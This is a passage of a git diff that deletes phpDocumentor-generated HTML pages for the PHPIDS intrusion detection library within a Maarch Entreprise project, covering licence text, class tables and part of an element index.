class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - - </div> -</div> - - <a name="sec-classes"></a> - <div class="info-box"> - <div class="info-box-title">Classes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Classes</span> - | <a href="#sec-includes">Includes</a> - </div> - <div class="info-box-body"> - <table cellpadding="2" cellspacing="0" class="class-table"> - <tr> - <th class="class-table-header">Class</th> - <th class="class-table-header">Description</th> - </tr> - <tr> - <td style="padding-right: 2em; vertical-align: top"> - <a href="../PHPIDS/IDS_Log_Email.html">IDS_Log_Email</a> - </td> - <td> - Email logging wrapper - </td> - </tr> - </table> - </div> - </div> - - <a name="sec-includes"></a> - <div class="info-box"> - <div class="info-box-title">Includes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-classes">Classes</a> - | <span class="disabled">Includes</span> - </div> - <div class="info-box-body"> - <a name="_IDS/Log/Interface_php"><!-- --></a> -<div class="evenrow"> - - <div> - <span class="include-title"> - <span class="include-type">require_once</span> - (<span class="include-name">'IDS/Log/Interface.php'</span>) - (line <span class="line-number">34</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - -</div> - </div> - </div> - - - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:43 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Log---File.php.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Log---File.php.html deleted file mode 100755 index 258c3e0975db59328eecff14d7e744fe98175067..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Log---File.php.html +++ /dev/null @@ -1,105 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs for page File.php</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="file-name">/Log/File.php</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-classes">Classes</a> - | <a href="#sec-includes">Includes</a> - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - - </div> -</div> - - <a name="sec-classes"></a> - <div class="info-box"> - <div class="info-box-title">Classes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Classes</span> - | <a href="#sec-includes">Includes</a> - </div> - <div class="info-box-body"> - <table cellpadding="2" cellspacing="0" class="class-table"> - <tr> - <th class="class-table-header">Class</th> - <th class="class-table-header">Description</th> - </tr> - <tr> - <td style="padding-right: 2em; vertical-align: top"> - <a href="../PHPIDS/IDS_Log_File.html">IDS_Log_File</a> - </td> - <td> - File logging wrapper - </td> - </tr> - </table> - </div> - </div> - - <a name="sec-includes"></a> - <div class="info-box"> - <div class="info-box-title">Includes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-classes">Classes</a> - | <span class="disabled">Includes</span> - </div> - <div class="info-box-body"> - <a name="_IDS/Log/Interface_php"><!-- --></a> -<div class="evenrow"> - - <div> - <span class="include-title"> - <span class="include-type">require_once</span> - (<span class="include-name">'IDS/Log/Interface.php'</span>) - (line <span class="line-number">34</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - -</div> - </div> - </div> - - - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:44 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Log---Interface.php.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Log---Interface.php.html deleted file mode 100755 index dbb2f06313a9cc955a83e31cd60dd4c3e2240ee4..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Log---Interface.php.html +++ /dev/null @@ -1,69 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs for page Interface.php</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="file-name">/Log/Interface.php</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-classes">Classes</a> - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - - </div> -</div> - - <a name="sec-classes"></a> - <div class="info-box"> - <div class="info-box-title">Classes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Classes</span> - </div> - <div class="info-box-body"> - <table cellpadding="2" cellspacing="0" class="class-table"> - <tr> - <th class="class-table-header">Class</th> - <th class="class-table-header">Description</th> - </tr> - <tr> - <td style="padding-right: 2em; vertical-align: top"> - <a href="../PHPIDS/IDS_Log_Interface.html">IDS_Log_Interface</a> - </td> - <td> - Interface for logging wrappers - </td> - </tr> - </table> - </div> - </div> - - - - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:48 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Monitor.php.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Monitor.php.html deleted file mode 100755 index 9b9c509c27a8462d4b4e71f5c5141c66904245ba..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Monitor.php.html +++ /dev/null @@ -1,69 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs for page Monitor.php</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="file-name">/Monitor.php</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-classes">Classes</a> - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - - </div> -</div> - - <a name="sec-classes"></a> - <div class="info-box"> - <div class="info-box-title">Classes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Classes</span> - </div> - <div class="info-box-body"> - <table cellpadding="2" cellspacing="0" class="class-table"> - <tr> - <th class="class-table-header">Class</th> - <th class="class-table-header">Description</th> - </tr> - <tr> - <td style="padding-right: 2em; vertical-align: top"> - <a href="../PHPIDS/IDS_Monitor.html">IDS_Monitor</a> - </td> - <td> - Monitoring engine - </td> - </tr> - </table> - </div> - </div> - - - - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:50 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Report.php.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Report.php.html deleted file mode 100755 index d7737365e587ead991ef354b8e1c0ac11df57bb1..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Report.php.html +++ /dev/null @@ -1,69 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs for page Report.php</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="file-name">/Report.php</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-classes">Classes</a> - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - - </div> -</div> - - <a name="sec-classes"></a> - <div class="info-box"> - <div class="info-box-title">Classes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Classes</span> - </div> - <div class="info-box-body"> - <table cellpadding="2" cellspacing="0" class="class-table"> - <tr> - <th class="class-table-header">Class</th> - <th class="class-table-header">Description</th> - </tr> - <tr> - <td style="padding-right: 2em; vertical-align: top"> - <a href="../PHPIDS/IDS_Report.html">IDS_Report</a> - </td> - <td> - PHPIDS report object - </td> - </tr> - </table> - </div> - </div> - - - - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:52 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/blank.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/blank.html deleted file mode 100755 index fafcaa67db823e78f981ba66fc36c0b174a97d10..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/blank.html +++ /dev/null @@ -1,13 +0,0 @@ -<html> -<head> - <title>Generated Documentation</title> - <link rel="stylesheet" href="media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> -</head> -<body> -<div align="center"><h1>Generated Documentation</h1></div> -<b>Welcome to default!</b><br /> -<br /> -This documentation was generated by <a href="http://www.phpdoc.org">phpDocumentor v1.4.2</a><br /> -</body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/classtrees_PHPIDS.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/classtrees_PHPIDS.html deleted file mode 100755 index f884c5ec7efa6e4a51a4c0326efb4ea814f58e5a..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/classtrees_PHPIDS.html +++ /dev/null @@ -1,92 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title></title> - <link rel="stylesheet" href="media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - -<!-- Start of Class Data --> -<H2> - -</H2> -<h2>Root interface IDS_Caching_Interface</h2> -<ul> -<li><a href="PHPIDS/IDS_Caching_Interface.html">IDS_Caching_Interface</a></li></ul> - -<h2>Root interface IDS_Log_Interface</h2> -<ul> -<li><a href="PHPIDS/IDS_Log_Interface.html">IDS_Log_Interface</a></li></ul> - -<h2>Root class IDS_Caching</h2> -<ul> -<li><a href="PHPIDS/IDS_Caching.html">IDS_Caching</a></li></ul> - -<h2>Root class IDS_Caching_Database</h2> -<ul> -<li><a href="PHPIDS/IDS_Caching_Database.html">IDS_Caching_Database</a></li></ul> - -<h2>Root class IDS_Caching_File</h2> -<ul> -<li><a href="PHPIDS/IDS_Caching_File.html">IDS_Caching_File</a></li></ul> - -<h2>Root class IDS_Caching_Memcached</h2> -<ul> -<li><a href="PHPIDS/IDS_Caching_Memcached.html">IDS_Caching_Memcached</a></li></ul> - -<h2>Root class IDS_Caching_Session</h2> -<ul> -<li><a href="PHPIDS/IDS_Caching_Session.html">IDS_Caching_Session</a></li></ul> - -<h2>Root class IDS_Converter</h2> -<ul> -<li><a href="PHPIDS/IDS_Converter.html">IDS_Converter</a></li></ul> - -<h2>Root class IDS_Event</h2> -<ul> -<li><a href="PHPIDS/IDS_Event.html">IDS_Event</a></li></ul> - -<h2>Root class IDS_Filter</h2> -<ul> -<li><a href="PHPIDS/IDS_Filter.html">IDS_Filter</a></li></ul> - -<h2>Root class IDS_Filter_Storage</h2> -<ul> -<li><a href="PHPIDS/IDS_Filter_Storage.html">IDS_Filter_Storage</a></li></ul> - -<h2>Root class IDS_Init</h2> -<ul> -<li><a href="PHPIDS/IDS_Init.html">IDS_Init</a></li></ul> - -<h2>Root class IDS_Log_Composite</h2> -<ul> -<li><a href="PHPIDS/IDS_Log_Composite.html">IDS_Log_Composite</a></li></ul> - -<h2>Root class IDS_Log_Database</h2> -<ul> -<li><a href="PHPIDS/IDS_Log_Database.html">IDS_Log_Database</a></li></ul> - -<h2>Root class IDS_Log_Email</h2> -<ul> -<li><a href="PHPIDS/IDS_Log_Email.html">IDS_Log_Email</a></li></ul> - -<h2>Root class IDS_Log_File</h2> -<ul> -<li><a href="PHPIDS/IDS_Log_File.html">IDS_Log_File</a></li></ul> - -<h2>Root class IDS_Monitor</h2> -<ul> -<li><a href="PHPIDS/IDS_Monitor.html">IDS_Monitor</a></li></ul> - -<h2>Root class IDS_Report</h2> -<ul> -<li><a href="PHPIDS/IDS_Report.html">IDS_Report</a></li></ul> - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:38 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/elementindex.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/elementindex.html deleted file mode 100755 index 7c0c521543073fd4f9cf3b2925e454684b781d12..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/elementindex.html +++ /dev/null @@ -1,10897 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title></title> - <link rel="stylesheet" href="media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <a name="top"></a> -<h2>Full index</h2> -<h3>Package indexes</h3> -<ul> - <li><a href="elementindex_PHPIDS.html">PHPIDS</a></li> - <li><a href="elementindex_default.html">default</a></li> -</ul> -<br /> -<div class="index-letter-menu"> - <a class="index-letter" href="elementindex.html#a">a</a> - <a class="index-letter" href="elementindex.html#b">b</a> - <a class="index-letter" href="elementindex.html#c">c</a> - <a class="index-letter" href="elementindex.html#d">d</a> - <a class="index-letter" href="elementindex.html#e">e</a> - <a class="index-letter" href="elementindex.html#f">f</a> - <a class="index-letter" href="elementindex.html#g">g</a> - <a class="index-letter" href="elementindex.html#h">h</a> - <a class="index-letter" href="elementindex.html#i">i</a> - <a class="index-letter" href="elementindex.html#k">k</a> - <a class="index-letter" href="elementindex.html#l">l</a> - <a class="index-letter" href="elementindex.html#m">m</a> - <a class="index-letter" href="elementindex.html#n">n</a> - <a class="index-letter" href="elementindex.html#o">o</a> - <a class="index-letter" href="elementindex.html#p">p</a> - <a class="index-letter" href="elementindex.html#q">q</a> - <a class="index-letter" href="elementindex.html#r">r</a> - <a class="index-letter" href="elementindex.html#s">s</a> - <a class="index-letter" href="elementindex.html#t">t</a> - <a class="index-letter" href="elementindex.html#u">u</a> - <a class="index-letter" href="elementindex.html#v">v</a> - <a class="index-letter" href="elementindex.html#w">w</a> - <a class="index-letter" href="elementindex.html#x">x</a> - <a class="index-letter" href="elementindex.html#y">y</a> - <a class="index-letter" href="elementindex.html#z">z</a> - <a class="index-letter" href="elementindex.html#_">_</a> -</div> - - <a name="a"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">a</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$accessed</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_StringHash.html#var$accessed">HTMLPurifier_StringHash::$accessed</a> in StringHash.php</div> - </dd> - <dt class="field"> - <span class="var-title">$addParam</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_SafeObject.html#var$addParam">HTMLPurifier_Injector_SafeObject::$addParam</a> in SafeObject.php</div> - </dd> - <dt class="field"> - <span class="var-title">$aliases</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange_Directive.html#var$aliases">HTMLPurifier_ConfigSchema_Interchange_Directive::$aliases</a> in Directive.php</div> - <div class="index-item-description">List of aliases for the directive, e.g. array(new HTMLPurifier_ConfigSchema_Interchange_Id('Ns', 'Dir'))).</div> - </dd> - <dt class="field"> - <span class="var-title">$aliases</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Doctype.html#var$aliases">HTMLPurifier_Doctype::$aliases</a> in Doctype.php</div> - <div class="index-item-description">List of aliases for this doctype</div> - </dd> - <dt class="field"> - <span class="var-title">$aliases</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DoctypeRegistry.html#var$aliases">HTMLPurifier_DoctypeRegistry::$aliases</a> in DoctypeRegistry.php</div> - <div class="index-item-description">Lookup table of aliases to real doctype names</div> - </dd> - <dt class="field"> - <span class="var-title">$aliases</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigDef_Directive.html#var$aliases">HTMLPurifier_ConfigDef_Directive::$aliases</a> in Directive.php</div> - <div class="index-item-description">Hash of value aliases, i.e. values that are equivalent.</div> - </dd> - <dt class="field"> - <span class="var-title">$aliases</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Validator.html#var$aliases">HTMLPurifier_ConfigSchema_Validator::$aliases</a> in Validator.php</div> - </dd> - <dt class="field"> - <span class="var-title">$allow</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_ImportantDecorator.html#var$allow">HTMLPurifier_AttrDef_CSS_ImportantDecorator::$allow</a> in ImportantDecorator.php</div> - </dd> - <dt class="field"> - <span class="var-title">$allowed</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange_Directive.html#var$allowed">HTMLPurifier_ConfigSchema_Interchange_Directive::$allowed</a> in Directive.php</div> - <div class="index-item-description">Lookup table of allowed scalar values, e.g. array('allowed' => true).</div> - </dd> - <dt class="field"> - <span class="var-title">$allowed</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigDef_Directive.html#var$allowed">HTMLPurifier_ConfigDef_Directive::$allowed</a> in Directive.php</div> - <div class="index-item-description">Lookup table of allowed values of the element, bool true if all allowed.</div> - </dd> - <dt class="field"> - <span class="var-title">$allowedParam</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_SafeObject.html#var$allowedParam">HTMLPurifier_Injector_SafeObject::$allowedParam</a> in SafeObject.php</div> - </dd> - <dt class="field"> - <span class="var-title">$allowedUnits</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Length.html#var$allowedUnits">HTMLPurifier_Length::$allowedUnits</a> in Length.php</div> - <div class="index-item-description">Lookup array of units recognized by CSS 2.1</div> - </dd> - <dt class="field"> - <span class="var-title">$allow_empty</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Empty.html#var$allow_empty">HTMLPurifier_ChildDef_Empty::$allow_empty</a> in Empty.php</div> - </dd> - <dt class="field"> - <span class="var-title">$allow_empty</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Required.html#var$allow_empty">HTMLPurifier_ChildDef_Required::$allow_empty</a> in Required.php</div> - </dd> - <dt class="field"> - <span class="var-title">$allow_empty</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Table.html#var$allow_empty">HTMLPurifier_ChildDef_Table::$allow_empty</a> in Table.php</div> - </dd> - <dt class="field"> - <span class="var-title">$allow_empty</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef.html#var$allow_empty">HTMLPurifier_ChildDef::$allow_empty</a> in ChildDef.php</div> - <div class="index-item-description">Bool that indicates whether or not an empty array of children is okay</div> - </dd> - <dt class="field"> - <span class="var-title">$allow_empty</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Optional.html#var$allow_empty">HTMLPurifier_ChildDef_Optional::$allow_empty</a> in Optional.php</div> - </dd> - <dt class="field"> - <span class="var-title">$allow_empty</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Custom.html#var$allow_empty">HTMLPurifier_ChildDef_Custom::$allow_empty</a> in Custom.php</div> - </dd> - <dt class="field"> - <span class="var-title">$allow_empty</span> - 